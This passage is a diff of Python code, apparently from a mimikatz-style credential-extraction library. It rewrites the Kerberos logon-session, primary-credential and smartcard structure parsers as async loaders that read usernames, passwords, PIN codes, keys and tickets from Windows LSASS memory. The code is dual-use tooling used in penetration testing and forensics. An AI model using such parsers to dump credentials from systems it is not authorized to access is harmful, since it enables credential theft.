360 p = PKIWI_KERBEROS_CSP_INFOS_5()
361 p.location = reader.tell()
362 p.value = await reader.read_uint()
363 p.finaltype = KIWI_KERBEROS_CSP_INFOS_5
364 return p
300365
301366 class KIWI_KERBEROS_CSP_INFOS_5:
302 def __init__(self, reader):
303 self.PinCode = LSA_UNICODE_STRING(reader)
304 self.unk0 = PVOID(reader)
305 self.unk1 = PVOID(reader)
306 self.CertificateInfos = PVOID(reader)
307 self.unkData = PVOID(reader) # // 0 = CspData
308 self.Flags = DWORD(reader).value # // 1 = CspData (not 0x21)(reader).value
309 self.CspDataLength = DWORD(reader).value
310 self.CspData = KERB_SMARTCARD_CSP_INFO_5(reader, size = self.CspDataLength)
367 def __init__(self):
368 self.PinCode = None
369 self.unk0 = None
370 self.unk1 = None
371 self.CertificateInfos = None
372 self.unkData = None
373 self.Flags = None
374 self.CspDataLength = None
375 self.CspData = None
376
377 @staticmethod
378 async def load(reader):
379 res = KIWI_KERBEROS_CSP_INFOS_5()
380 res.PinCode = await LSA_UNICODE_STRING.load(reader)
381 res.unk0 = await PVOID.load(reader)
382 res.unk1 = await PVOID.load(reader)
383 res.CertificateInfos = await PVOID.load(reader)
384 res.unkData = await PVOID.load(reader) # // 0 = CspData
385 res.Flags = await DWORD.loadvalue(reader) # // 1 = CspData (not 0x21)(reader).value
386 res.CspDataLength = await DWORD.loadvalue(reader)
387 res.CspData = await KERB_SMARTCARD_CSP_INFO_5.load(reader, size = res.CspDataLength)
388 return res
389
311390
312391 class PKIWI_KERBEROS_CSP_INFOS_60(POINTER):
313 def __init__(self, reader):
314 super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_60)
392 def __init__(self):
393 super().__init__()
394
395 @staticmethod
396 async def load(reader):
397 p = PKIWI_KERBEROS_CSP_INFOS_60()
398 p.location = reader.tell()
399 p.value = await reader.read_uint()
400 p.finaltype = KIWI_KERBEROS_CSP_INFOS_60
401 return p
315402
316403
317404 class KIWI_KERBEROS_CSP_INFOS_60:
318 def __init__(self, reader):
319 self.PinCode = LSA_UNICODE_STRING(reader)
320 self.unk0 = PVOID(reader).value
321 self.unk1 = PVOID(reader).value
322 self.CertificateInfos = PVOID(reader).value
323 self.unkData = PVOID(reader).value # // 0 = CspData
324 self.Flags = DWORD(reader).value #// 0 = CspData(reader).value
325 self.unkFlags = DWORD(reader).value #// 0x141(reader).value
326 self.CspDataLength = DWORD(reader).value
327 self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength)
328
329 class PKIWI_KERBEROS_CSP_INFOS_62(POINTER):
330 def __init__(self, reader):
331 super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_62)
405 def __init__(self):
406 self.PinCode = None
407 self.unk0 = None
408 self.unk1 = None
409 self.CertificateInfos = None
410 self.unkData = None
411 self.Flags = None
412 self.unkFlags = None
413 self.CspDataLength = None
414 self.CspData = None
415
416 @staticmethod
417 async def load(reader):
418 res = KIWI_KERBEROS_CSP_INFOS_5()
419 res.PinCode = await LSA_UNICODE_STRING.load(reader)
420 res.unk0 = await PVOID.loadvalue(reader)
421 res.unk1 = await PVOID.loadvalue(reader)
422 res.CertificateInfos = await PVOID.loadvalue(reader)
423 res.unkData = await PVOID.loadvalue(reader) # // 0 = CspData
424 res.Flags = await DWORD.loadvalue(reader) #// 0 = CspData(reader).value
425 res.unkFlags = await DWORD.loadvalue(reader) #// 0x141(reader).value
426 res.CspDataLength = await DWORD.loadvalue(reader)
427 res.CspData = await KERB_SMARTCARD_CSP_INFO.load(reader, size = res.CspDataLength)
428 return res
429
430 class PKIWI_KERBEROS_CSP_INFOS_62(POINTER):
431 def __init__(self):
432 super().__init__()
433
434 @staticmethod
435 async def load(reader):
436 p = PKIWI_KERBEROS_CSP_INFOS_62()
437 p.location = reader.tell()
438 p.value = await reader.read_uint()
439 p.finaltype = KIWI_KERBEROS_CSP_INFOS_62
440 return p
332441
333442
334443 class KIWI_KERBEROS_CSP_INFOS_62:
335 def __init__(self, reader):
336 self.PinCode = LSA_UNICODE_STRING(reader)
337 self.unk0 = PVOID(reader).value
338 self.unk1 = PVOID(reader).value
339 self.CertificateInfos = PVOID(reader).value
340 self.unk2 = PVOID(reader).value
341 self.unkData = PVOID(reader).value #// 0 = CspData(reader).value
342 self.Flags = DWORD(reader).value #// 0 = CspData(reader).value
343 self.unkFlags = DWORD(reader).value #// 0x141 (not 0x61)
344 self.CspDataLength = DWORD(reader).value
345 self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength)
444 def __init__(self):
445 self.PinCode = None
446 self.unk0 = None
447 self.unk1 = None
448 self.CertificateInfos = None
449 self.unk2 = None
450 self.unkData = None
451 self.Flags = None
452 self.unkFlags = None
453 self.CspDataLength = None
454 self.CspData = None
455
456 @staticmethod
457 async def load(reader):
458 res = KIWI_KERBEROS_CSP_INFOS_62()
459 res.PinCode = await LSA_UNICODE_STRING.load(reader)
460 res.unk0 = await PVOID.loadvalue(reader)
461 res.unk1 = await PVOID.loadvalue(reader)
462 res.CertificateInfos = await PVOID.loadvalue(reader)
463 res.unk2 = await PVOID.loadvalue(reader)
464 res.unkData = await PVOID.loadvalue(reader) #// 0 = CspData(reader).value
465 res.Flags = await DWORD.loadvalue(reader) #// 0 = CspData(reader).value
466 res.unkFlags = await DWORD.loadvalue(reader) #// 0x141 (not 0x61)
467 res.CspDataLength = await DWORD.loadvalue(reader)
468 res.CspData = await KERB_SMARTCARD_CSP_INFO.load(reader, size = res.CspDataLength)
469 return res
470
346471
347472 class PKIWI_KERBEROS_CSP_INFOS_10(POINTER):
348 def __init__(self, reader):
349 super().__init__(reader, KIWI_KERBEROS_CSP_INFOS_10)
473 def __init__(self):
474 super().__init__()
475
476 @staticmethod
477 async def load(reader):
478 p = PKIWI_KERBEROS_CSP_INFOS_10()
479 p.location = reader.tell()
480 p.value = await reader.read_uint()
481 p.finaltype = KIWI_KERBEROS_CSP_INFOS_10
482 return p
350483
351484 class KIWI_KERBEROS_CSP_INFOS_10:
352 def __init__(self, reader):
353 self.PinCode = LSA_UNICODE_STRING(reader)
354 self.unk0 = PVOID(reader).value
355 self.unk1 = PVOID(reader).value
356 self.CertificateInfos = PVOID(reader).value
357 self.unk2 = PVOID(reader).value
358 self.unkData = PVOID(reader).value #// 0 = CspData
359 self.Flags = DWORD(reader).value #// 0 = CspData(reader).value
360 self.unkFlags = DWORD(reader).value #// 0x141 (not 0x61)(reader).value
361 self.unk3 = PVOID(reader).value
362 self.CspDataLength = DWORD(reader).value
363 self.CspData = KERB_SMARTCARD_CSP_INFO(reader, size = self.CspDataLength)
485 def __init__(self):
486 self.PinCode = None
487 self.unk0 = None
488 self.unk1 = None
489 self.CertificateInfos = None
490 self.unk2 = None
491 self.unkData = None
492 self.Flags = None
493 self.unkFlags = None
494 self.unk3 = None
495 self.CspDataLength = None
496 self.CspData = None
497
498 @staticmethod
499 async def load(reader):
500 res = KIWI_KERBEROS_CSP_INFOS_10()
501 res.PinCode = await LSA_UNICODE_STRING.load(reader)
502 res.unk0 = await PVOID.loadvalue(reader)
503 res.unk1 = await PVOID.loadvalue(reader)
504 res.CertificateInfos = await PVOID.loadvalue(reader)
505 res.unk2 = await PVOID.loadvalue(reader)
506 res.unkData = await PVOID.loadvalue(reader) #// 0 = CspData
507 res.Flags = await DWORD.loadvalue(reader) #// 0 = CspData(reader).value
508 res.unkFlags = await DWORD.loadvalue(reader) #// 0x141 (not 0x61)(reader).value
509 res.unk3 = await PVOID.loadvalue(reader)
510 res.CspDataLength = await DWORD.loadvalue(reader)
511 res.CspData = await KERB_SMARTCARD_CSP_INFO.load(reader, size = res.CspDataLength)
512 return res
364513
365514 class PKIWI_KERBEROS_LOGON_SESSION_51(POINTER):
366 def __init__(self, reader):
367 super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION_51)
515 def __init__(self):
516 super().__init__()
517
518 @staticmethod
519 async def load(reader):
520 p = PKIWI_KERBEROS_LOGON_SESSION_51()
521 p.location = reader.tell()
522 p.value = await reader.read_uint()
523 p.finaltype = KIWI_KERBEROS_LOGON_SESSION_51
524 return p
368525
369526 class KIWI_KERBEROS_LOGON_SESSION_51:
370 def __init__(self, reader):
371 self.UsageCount = ULONG(reader).value
372 self.unk0 = LIST_ENTRY(reader)
373 self.unk1 = LIST_ENTRY(reader)
374 self.unk2 = PVOID(reader).value
375 self.unk3 = ULONG(reader).value # // filetime.1 ?
376 self.unk4 = ULONG(reader).value #// filetime.2 ?(reader).value
377 self.unk5 = PVOID(reader).value
378 self.unk6 = PVOID(reader).value
379 self.unk7 = PVOID(reader).value
380 self.LocallyUniqueIdentifier = LUID(reader).value
381 reader.align(8)
527 def __init__(self):
528 self.UsageCount = None
529 self.unk0 = None
530 self.unk1 = None
531 self.unk2 = None
532 self.unk3 = None # // filetime.1 ?
533 self.unk4 = None #// filetime.2 ?(reader).value
534 self.unk5 = None
535 self.unk6 = None
536 self.unk7 = None
537 self.LocallyUniqueIdentifier = None
382538 #self.unkAlign = ULONG(reader).value #aliing on x86(reader).value
383 self.unk8 = FILETIME(reader).value
384 self.unk9 = PVOID(reader).value
385 self.unk10 = ULONG(reader).value # // filetime.1 ?(reader).value
386 self.unk11 = ULONG(reader).value # // filetime.2 ?(reader).value
387 self.unk12 = PVOID(reader).value
388 self.unk13 = PVOID(reader).value
389 self.unk14 = PVOID(reader).value
390 self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader)
391 self.unk15 = ULONG(reader).value
392 self.unk16 = ULONG(reader).value
393 self.unk17 = ULONG(reader).value
394 self.unk18 = ULONG(reader).value
395 self.unk19 = PVOID(reader).value
396 self.unk20 = PVOID(reader).value
397 self.unk21 = PVOID(reader).value
398 self.unk22 = PVOID(reader).value
399 self.pKeyList = PVOID(reader)
400 self.unk24 = PVOID(reader).value
401 self.Tickets_1 = LIST_ENTRY(reader)
402 self.Tickets_2 = LIST_ENTRY(reader)
403 self.Tickets_3 = LIST_ENTRY(reader)
404 self.SmartcardInfos = PVOID(reader)
539 self.unk8 = None
540 self.unk9 = None
541 self.unk10 = None # // filetime.1 ?(reader).value
542 self.unk11 = None # // filetime.2 ?(reader).value
543 self.unk12 = None
544 self.unk13 = None
545 self.unk14 = None
546 self.credentials = None
547 self.unk15 = None
548 self.unk16 = None
549 self.unk17 = None
550 self.unk18 = None
551 self.unk19 = None
552 self.unk20 = None
553 self.unk21 = None
554 self.unk22 = None
555 self.pKeyList = None
556 self.unk24 = None
557 self.Tickets_1 = None
558 self.Tickets_2 = None
559 self.Tickets_3 = None
560 self.SmartcardInfos = None
561
562 @staticmethod
563 async def load(reader):
564 #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS
565 res = KIWI_KERBEROS_LOGON_SESSION_51()
566 res.UsageCount = await ULONG.loadvalue(reader)
567 res.unk0 = await LIST_ENTRY.load(reader)
568 res.unk1 = await LIST_ENTRY.load(reader)
569 res.unk2 = await PVOID.loadvalue(reader)
570 res.unk3 = await ULONG.loadvalue(reader) # // filetime.1 ?
571 res.unk4 = await ULONG.loadvalue(reader) #// filetime.2 ?(reader).value
572 res.unk5 = await PVOID.loadvalue(reader)
573 res.unk6 = await PVOID.loadvalue(reader)
574 res.unk7 = await PVOID.loadvalue(reader)
575 res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
576 await reader.align(8)
577 #self.unkAlign = ULONG(reader).value #aliing on x86(reader).value
578 res.unk8 = await FILETIME.loadvalue(reader)
579 res.unk9 = await PVOID.loadvalue(reader)
580 res.unk10 = await ULONG.loadvalue(reader) # // filetime.1 ?(reader).value
581 res.unk11 = await ULONG.loadvalue(reader) # // filetime.2 ?(reader).value
582 res.unk12 = await PVOID.loadvalue(reader)
583 res.unk13 = await PVOID.loadvalue(reader)
584 res.unk14 = await PVOID.loadvalue(reader)
585 res.credentials = await KIWI_GENERIC_PRIMARY_CREDENTIAL.load(reader)
586 res.unk15 = await ULONG.loadvalue(reader)
587 res.unk16 = await ULONG.loadvalue(reader)
588 res.unk17 = await ULONG.loadvalue(reader)
589 res.unk18 = await ULONG.loadvalue(reader)
590 res.unk19 = await PVOID.loadvalue(reader)
591 res.unk20 = await PVOID.loadvalue(reader)
592 res.unk21 = await PVOID.loadvalue(reader)
593 res.unk22 = await PVOID.loadvalue(reader)
594 res.pKeyList = await PVOID.load(reader)
595 res.unk24 = await PVOID.loadvalue(reader)
596 res.Tickets_1 = await LIST_ENTRY.load(reader)
597 res.Tickets_2 = await LIST_ENTRY.load(reader)
598 res.Tickets_3 = await LIST_ENTRY.load(reader)
599 res.SmartcardInfos = await PVOID.load(reader)
600 return res
405601
406602
407603 class PKIWI_KERBEROS_LOGON_SESSION(POINTER):
408 def __init__(self, reader):
409 super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION)
604 def __init__(self):
605 super().__init__()
606
607 @staticmethod
608 async def load(reader):
609 p = PKIWI_KERBEROS_LOGON_SESSION()
610 p.location = reader.tell()
611 p.value = await reader.read_uint()
612 p.finaltype = KIWI_KERBEROS_LOGON_SESSION
613 return p
410614
411615 class KIWI_KERBEROS_LOGON_SESSION:
412 def __init__(self, reader):
413 self.UsageCount = ULONG(reader).value
414 reader.align()
415 self.unk0 = LIST_ENTRY(reader)
416 self.unk1 = PVOID(reader).value
417 self.unk2 = ULONG(reader).value # // filetime.1 ?
418 self.unk3 = ULONG(reader).value #// filetime.2 ?(reader).value
419 self.unk4 = PVOID(reader).value
420 self.unk5 = PVOID(reader).value
421 self.unk6 = PVOID(reader).value
422 self.LocallyUniqueIdentifier = LUID(reader).value
616 def __init__(self):
617 self.UsageCount = None
618 self.unk0 = None
619 self.unk1 = None
620 self.unk2 = None # // filetime.1 ?
621 self.unk3 = None #// filetime.2 ?(reader).value
622 self.unk4 = None
623 self.unk5 = None
624 self.unk6 = None
625 self.LocallyUniqueIdentifier = None
423626 #self.unkAlign = ULONG(reader).value#ifdef _M_IX86(reader).value
424 reader.align(8)
425 self.unk7 = FILETIME(reader).value
426 self.unk8 = PVOID(reader).value
427 self.unk9 = ULONG(reader).value # // filetime.1 ?(reader).value
428 self.unk10 = ULONG(reader).value # // filetime.2 ?(reader).value
429 self.unk11 = PVOID(reader).value
430 self.unk12 = PVOID(reader).value
431 self.unk13 = PVOID(reader).value
432 self.credentials = KIWI_GENERIC_PRIMARY_CREDENTIAL(reader)
433 self.unk14 = ULONG(reader).value
434 self.unk15 = ULONG(reader).value
435 self.unk16 = ULONG(reader).value
436 self.unk17 = ULONG(reader).value
437 self.unk18 = PVOID(reader).value
438 self.unk19 = PVOID(reader).value
439 self.unk20 = PVOID(reader).value
440 self.unk21 = PVOID(reader).value
441 self.pKeyList = PVOID(reader)
442 self.unk23 = PVOID(reader).value
443 reader.align()
444 self.Tickets_1 = LIST_ENTRY(reader)
445 self.unk24 = FILETIME(reader).value
446 self.Tickets_2 = LIST_ENTRY(reader)
447 self.unk25 = FILETIME(reader).value
448 self.Tickets_3 = LIST_ENTRY(reader)
449 self.unk26 = FILETIME(reader).value
450 self.SmartcardInfos = PVOID(reader)
627 self.unk7 = None
628 self.unk8 = None
629 self.unk9 = None # // filetime.1 ?(reader).value
630 self.unk10 = None # // filetime.2 ?(reader).value
631 self.unk11 = None
632 self.unk12 = None
633 self.unk13 = None
634 self.credentials = None
635 self.unk14 = None
636 self.unk15 = None
637 self.unk16 = None
638 self.unk17 = None
639 self.unk18 = None
640 self.unk19 = None
641 self.unk20 = None
642 self.unk21 = None
643 self.pKeyList = None
644 self.unk23 = None
645 self.Tickets_1 = None
646 self.unk24 = None
647 self.Tickets_2 = None
648 self.unk25 = None
649 self.Tickets_3 = None
650 self.unk26 = None
651 self.SmartcardInfos = None
652
653 @staticmethod
654 async def load(reader):
655 res = KIWI_KERBEROS_LOGON_SESSION()
656 res.UsageCount = await ULONG.loadvalue(reader)
657 await reader.align()
658 res.unk0 = await LIST_ENTRY.load(reader)
659 res.unk1 = await PVOID.loadvalue(reader)
660 res.unk2 = await ULONG.loadvalue(reader) # // filetime.1 ?
661 res.unk3 = await ULONG.loadvalue(reader) #// filetime.2 ?(reader).value
662 res.unk4 = await PVOID.loadvalue(reader)
663 res.unk5 = await PVOID.loadvalue(reader)
664 res.unk6 = await PVOID.loadvalue(reader)
665 res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
666 #self.unkAlign = ULONG(reader).value#ifdef _M_IX86(reader).value
667 await reader.align(8)
668 res.unk7 = await FILETIME.loadvalue(reader)
669 res.unk8 = await PVOID.loadvalue(reader)
670 res.unk9 = await ULONG.loadvalue(reader) # // filetime.1 ?(reader).value
671 res.unk10 = await ULONG.loadvalue(reader) # // filetime.2 ?(reader).value
672 res.unk11 = await PVOID.loadvalue(reader)
673 res.unk12 = await PVOID.loadvalue(reader)
674 res.unk13 = await PVOID.loadvalue(reader)
675 res.credentials = await KIWI_GENERIC_PRIMARY_CREDENTIAL.load(reader)
676 res.unk14 = await ULONG.loadvalue(reader)
677 res.unk15 = await ULONG.loadvalue(reader)
678 res.unk16 = await ULONG.loadvalue(reader)
679 res.unk17 = await ULONG.loadvalue(reader)
680 res.unk18 = await PVOID.loadvalue(reader)
681 res.unk19 = await PVOID.loadvalue(reader)
682 res.unk20 = await PVOID.loadvalue(reader)
683 res.unk21 = await PVOID.loadvalue(reader)
684 res.pKeyList = await PVOID.load(reader)
685 res.unk23 = await PVOID.loadvalue(reader)
686 await reader.align()
687 res.Tickets_1 = await LIST_ENTRY.load(reader)
688 res.unk24 = await FILETIME.loadvalue(reader)
689 res.Tickets_2 = await LIST_ENTRY.load(reader)
690 res.unk25 = await FILETIME.loadvalue(reader)
691 res.Tickets_3 = await LIST_ENTRY.load(reader)
692 res.unk26 = await FILETIME.loadvalue(reader)
693 res.SmartcardInfos = await PVOID.load(reader)
694 return res
451695
452696 class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL(POINTER):
453 def __init__(self, reader):
454 super().__init__(reader, KIWI_KERBEROS_10_PRIMARY_CREDENTIAL)
455
697 def __init__(self):
698 super().__init__()
699
700 @staticmethod
701 async def load(reader):
702 p = PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL()
703 p.location = reader.tell()
704 p.value = await reader.read_uint()
705 p.finaltype = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL
706 return p
456707
457708 class KIWI_KERBEROS_10_PRIMARY_CREDENTIAL:
458 def __init__(self, reader):
459 self.UserName = LSA_UNICODE_STRING(reader)
460 self.Domaine = LSA_UNICODE_STRING(reader)
461 self.unk0 = PVOID(reader).value
462 self.Password = LSA_UNICODE_STRING(reader)
709 def __init__(self):
710 self.UserName = None
711 self.Domaine = None
712 self.unk0 = None
713 self.Password = None
714
715 @staticmethod
716 async def load(reader):
717 res = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL()
718 res.UserName = await LSA_UNICODE_STRING.load(reader)
719 res.Domaine = await LSA_UNICODE_STRING.load(reader)
720 res.unk0 = await PVOID.loadvalue(reader)
721 res.Password = await LSA_UNICODE_STRING.load(reader)
722 return res
463723
464724 class PKIWI_KERBEROS_LOGON_SESSION_10(POINTER):
465 def __init__(self, reader):
466 super().__init__(reader, KIWI_KERBEROS_LOGON_SESSION_10)
725 def __init__(self):
726 super().__init__()
727
728 @staticmethod
729 async def load(reader):
730 p = PKIWI_KERBEROS_LOGON_SESSION_10()
731 p.location = reader.tell()
732 p.value = await reader.read_uint()
733 p.finaltype = KIWI_KERBEROS_LOGON_SESSION_10
734 return p
467735
468736 class KIWI_KERBEROS_LOGON_SESSION_10_X86:
469 def __init__(self, reader):
470 self.UsageCount = ULONG(reader).value
471 reader.align()
472 self.unk0 = LIST_ENTRY(reader)
473 self.unk1 = PVOID(reader).value
474 self.unk1b = ULONG(reader).value
475 reader.align()
476 self.unk2 = FILETIME(reader).value
477 self.unk4 = PVOID(reader).value
478 self.unk5 = PVOID(reader).value
479 self.unk6 = PVOID(reader).value
480 self.LocallyUniqueIdentifier = LUID(reader).value
737 def __init__(self):
738 self.UsageCount = None
739 self.unk0 = None
740 self.unk1 = None
741 self.unk1b = None
742 self.unk2 = None
743 self.unk4 = None
744 self.unk5 = None
745 self.unk6 = None
746 self.LocallyUniqueIdentifier = None
747 self.unk7 = None
748 self.unk8 = None
749 self.unk8b = None
750 self.unk9 = None
751 self.unk11 = None
752 self.unk12 = None
753 self.unk13 = None
754 self.credentials = None
755 self.unk14 = None
756 self.unk15 = None
757 self.unk16 = None
758 self.unk17 = None
759 self.unk19 = None
760 self.unk20 = None
761 self.unk21 = None
762 self.unk22 = None
763 self.unk23 = None
764 self.unk24 = None
765 self.unk25 = None
766 self.pKeyList = None
767 self.unk26 = None
768 self.Tickets_1 = None
769 self.unk27 = None
770 self.Tickets_2 = None
771 self.unk28 = None
772 self.Tickets_3 = None
773 self.unk29 = None
774 self.SmartcardInfos = None
775
776
777 @staticmethod
778 async def load(reader):
779 res = KIWI_KERBEROS_LOGON_SESSION_10_X86()
780 res.UsageCount = await ULONG.loadvalue(reader)
781 await reader.align()
782 res.unk0 = await LIST_ENTRY.load(reader)
783 res.unk1 = await PVOID.loadvalue(reader)
784 res.unk1b = await ULONG.loadvalue(reader)
785 await reader.align()
786 res.unk2 = await FILETIME.loadvalue(reader)
787 res.unk4 = await PVOID.loadvalue(reader)
788 res.unk5 = await PVOID.loadvalue(reader)
789 res.unk6 = await PVOID.loadvalue(reader)
790 res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
481791 #print(hex(self.LocallyUniqueIdentifier))
482792 #input('unk7\n' + hexdump(reader.peek(0x100)))
483 reader.align()
484 self.unk7 = FILETIME(reader).value
485 self.unk8 = PVOID(reader).value
486 self.unk8b = ULONG(reader).value
487 reader.align()
488 self.unk9 = FILETIME(reader).value
489 self.unk11 = PVOID(reader).value
490 self.unk12 = PVOID(reader).value
491 self.unk13 = PVOID(reader).value
492 reader.align(8)
793 await reader.align()
794 res.unk7 = await FILETIME.loadvalue(reader)
795 res.unk8 = await PVOID.loadvalue(reader)
796 res.unk8b = await ULONG.loadvalue(reader)
797 await reader.align()
798 res.unk9 = await FILETIME.loadvalue(reader)
799 res.unk11 = await PVOID.loadvalue(reader)
800 res.unk12 = await PVOID.loadvalue(reader)
801 res.unk13 = await PVOID.loadvalue(reader)
802 await reader.align(8)
493803
494804 #input('credentials\n' + hexdump(reader.peek(0x100)))
495 self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL(reader)
496 self.unk14 = ULONG(reader).value
497 self.unk15 = ULONG(reader).value
498 self.unk16 = ULONG(reader).value
499 self.unk17 = ULONG(reader).value
805 res.credentials = await KIWI_KERBEROS_10_PRIMARY_CREDENTIAL.load(reader)
806 res.unk14 = await ULONG.loadvalue(reader)
807 res.unk15 = await ULONG.loadvalue(reader)
808 res.unk16 = await ULONG.loadvalue(reader)
809 res.unk17 = await ULONG.loadvalue(reader)
500810 #//PVOID unk18 = (reader).value
501 reader.align(8)
502 self.unk19 = PVOID(reader).value
503 self.unk20 = PVOID(reader).value
504 self.unk21 = PVOID(reader).value
505 self.unk22 = PVOID(reader).value
506 self.unk23 = PVOID(reader).value
507 self.unk24 = PVOID(reader).value
508 self.unk25 = PVOID(reader).value
509
510 self.pKeyList = PVOID(reader)
511 self.unk26 = PVOID(reader).value
811 await reader.align(8)
812 res.unk19 = await PVOID.loadvalue(reader)
813 res.unk20 = await PVOID.loadvalue(reader)
814 res.unk21 = await PVOID.loadvalue(reader)
815 res.unk22 = await PVOID.loadvalue(reader)
816 res.unk23 = await PVOID.loadvalue(reader)
817 res.unk24 = await PVOID.loadvalue(reader)
818 res.unk25 = await PVOID.loadvalue(reader)
819 res.pKeyList = await PVOID.load(reader)
820 res.unk26 = await PVOID.loadvalue(reader)
512821 #input('pKeyList\n' + hexdump(reader.peek(0x100)))
513 reader.align()
822 await reader.align()
514823 #input('Tickets_1\n' + hexdump(reader.peek(0x100)))
515 self.Tickets_1 = LIST_ENTRY(reader)
516 self.unk27 = FILETIME(reader).value
517 self.Tickets_2 = LIST_ENTRY(reader)
518 self.unk28 = FILETIME(reader).value
519 self.Tickets_3 = LIST_ENTRY(reader)
520 self.unk29 = FILETIME(reader).value
521 self.SmartcardInfos = PVOID(reader)
824 res.Tickets_1 = await LIST_ENTRY.load(reader)
825 res.unk27 = await FILETIME.loadvalue(reader)
826 res.Tickets_2 = await LIST_ENTRY.load(reader)
827 res.unk28 = await FILETIME.loadvalue(reader)
828 res.Tickets_3 = await LIST_ENTRY.load(reader)
829 res.unk29 = await FILETIME.loadvalue(reader)
830 res.SmartcardInfos = await PVOID.load(reader)
831 return res
522832
523833 class KIWI_KERBEROS_LOGON_SESSION_10:
524 def __init__(self, reader):
525 self.UsageCount = ULONG(reader).value
526 reader.align()
527 self.unk0 = LIST_ENTRY(reader)
528 self.unk1 = PVOID(reader).value
529 self.unk1b = ULONG(reader).value
530 reader.align()
531 self.unk2 = FILETIME(reader).value
532 self.unk4 = PVOID(reader).value
533 self.unk5 = PVOID(reader).value
534 self.unk6 = PVOID(reader).value
535 self.LocallyUniqueIdentifier = LUID(reader).value
536 self.unk7 = FILETIME(reader).value
537 self.unk8 = PVOID(reader).value
538 self.unk8b = ULONG(reader).value
539 reader.align()
540 self.unk9 = FILETIME(reader).value
541 self.unk11 = PVOID(reader).value
542 self.unk12 = PVOID(reader).value
543 self.unk13 = PVOID(reader).value
544 self.credentials = KIWI_KERBEROS_10_PRIMARY_CREDENTIAL(reader)
545 self.unk14 = ULONG(reader).value
546 self.unk15 = ULONG(reader).value
547 self.unk16 = ULONG(reader).value
548 self.unk17 = ULONG(reader).value
834 def __init__(self):
835 self.UsageCount = None
836 self.unk0 = None
837 self.unk1 = None
838 self.unk1b = None
839 self.unk2 = None
840 self.unk4 = None
841 self.unk5 = None
842 self.unk6 = None
843 self.LocallyUniqueIdentifier = None
844 self.unk7 = None
845 self.unk8 = None
846 self.unk8b = None
847 self.unk9 = None
848 self.unk11 = None
849 self.unk12 = None
850 self.unk13 = None
851 self.credentials = None
852 self.unk14 = None
853 self.unk15 = None
854 self.unk16 = None
855 self.unk17 = None
856 #self.unk18 = None
857 self.unk19 = None
858 self.unk20 = None
859 self.unk21 = None
860 self.unk22 = None
861 self.unk23 = None
862 self.unk24 = None
863 self.unk25 = None
864 self.pKeyList = None
865 self.unk26 = None
866 self.Tickets_1 = None
867 self.unk27 = None
868 self.Tickets_2 = None
869 self.unk28 = None
870 self.Tickets_3 = None
871 self.unk29 = None
872 self.SmartcardInfos = None
873
874 @staticmethod
875 async def load(reader):
876 res = KIWI_KERBEROS_LOGON_SESSION_10()
877 res.UsageCount = await ULONG.loadvalue(reader)
878 await reader.align()
879 res.unk0 = await LIST_ENTRY.load(reader)
880 res.unk1 = await PVOID.loadvalue(reader)
881 res.unk1b = await ULONG.loadvalue(reader)
882 await reader.align()
883 res.unk2 = await FILETIME.loadvalue(reader)
884 res.unk4 = await PVOID.loadvalue(reader)
885 res.unk5 = await PVOID.loadvalue(reader)
886 res.unk6 = await PVOID.loadvalue(reader)
887 res.LocallyUniqueIdentifier = await LUID.loadvalue(reader)
888 res.unk7 = await FILETIME.loadvalue(reader)
889 res.unk8 = await PVOID.loadvalue(reader)
890 res.unk8b = await ULONG.loadvalue(reader)
891 await reader.align()
892 res.unk9 = await FILETIME.loadvalue(reader)
893 res.unk11 = await PVOID.loadvalue(reader)
894 res.unk12 = await PVOID.loadvalue(reader)
895 res.unk13 = await PVOID.loadvalue(reader)
896 res.credentials = await KIWI_KERBEROS_10_PRIMARY_CREDENTIAL.load(reader)
897 res.unk14 = await ULONG.loadvalue(reader)
898 res.unk15 = await ULONG.loadvalue(reader)
899 res.unk16 = await ULONG.loadvalue(reader)
900 res.unk17 = await ULONG.loadvalue(reader)
549901 #self.unk18 = PVOID(reader).value
550 self.unk19 = PVOID(reader).value
551 self.unk20 = PVOID(reader).value
552 self.unk21 = PVOID(reader).value
553 self.unk22 = PVOID(reader).value
554 self.unk23 = PVOID(reader).value
555 self.unk24 = PVOID(reader).value
556 self.unk25 = PVOID(reader).value
557 self.pKeyList = PVOID(reader)
558 self.unk26 = PVOID(reader).value
559 self.Tickets_1 = LIST_ENTRY(reader)
560 self.unk27 = FILETIME(reader).value
561 self.Tickets_2 = LIST_ENTRY(reader)
562 self.unk28 = FILETIME(reader).value
563 self.Tickets_3 = LIST_ENTRY(reader)
564 self.unk29 = FILETIME(reader).value
565 self.SmartcardInfos = PVOID(reader)
902 res.unk19 = await PVOID.loadvalue(reader)
903 res.unk20 = await PVOID.loadvalue(reader)
904 res.unk21 = await PVOID.loadvalue(reader)
905 res.unk22 = await PVOID.loadvalue(reader)
906 res.unk23 = await PVOID.loadvalue(reader)
907 res.unk24 = await PVOID.loadvalue(reader)
908 res.unk25 = await PVOID.loadvalue(reader)
909 res.pKeyList = await PVOID.load(reader)
910 res.unk26 = await PVOID.loadvalue(reader)
911 res.Tickets_1 = await LIST_ENTRY.load(reader)
912 res.unk27 = await FILETIME.loadvalue(reader)
913 res.Tickets_2 = await LIST_ENTRY.load(reader)
914 res.unk28 = await FILETIME.loadvalue(reader)
915 res.Tickets_3 = await LIST_ENTRY.load(reader)
916 res.unk29 = await FILETIME.loadvalue(reader)
917 res.SmartcardInfos = await PVOID.load(reader)
918 return res
566919
567920 class PKIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO(POINTER):
568 def __init__(self, reader):
569 super().__init__(reader, KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607_ISO)
570
921 def __init__(self):
922 super().__init__()
923
924 @staticmethod
925 async def load(reader):
